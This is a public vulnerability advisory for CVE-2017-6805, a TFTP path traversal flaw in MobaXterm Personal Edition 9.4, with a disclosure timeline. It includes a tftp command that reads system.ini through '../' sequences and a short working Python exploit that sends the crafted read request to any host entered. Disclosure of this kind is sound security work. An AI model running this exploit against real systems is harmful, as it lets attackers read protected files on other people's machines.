CVE-2017-6805 MobaXterm Personal Edition v9.4 Path Traversal Remote File Disclosure

[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL
-REMOTE-FILE-ACCESS.txt
[+] ISR: ApparitionSec

Vendor:
=====================
mobaxterm.mobatek.net

Product:
===============================
MobaXterm Personal Edition v9.4

Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.

Vulnerability Type:
==============================
=======
Path Traversal Remote File Disclosure

CVE Reference:
==============
CVE-2017-6805

Security Issue:
================
Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using
directory traversal attacks e.g. ../../../../Windows/system.ini

Start MobaXterm TFTP server which listens on default TFTP port 69.

c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s

c:\xampp\htdocs>type system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Victim Data located on: 127.0.0.1

POC URL:
=============================
https://vimeo.com/207516364

Exploit:
==========

import sys,socket

print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'

HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini'
PORT = 69

PAYLOAD = "\x00\x01" #TFTP Read
PAYLOAD += "../" * 4 + FILE + "\x00" #Read system.ini using directory traversal
PAYLOAD += "netascii\x00" #TFTP Type

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()

Network Access:
===============
Remote

Severity:
=========
High

Disclosure Timeline:
=============================
Vendor Notification: No Reply
March 10, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).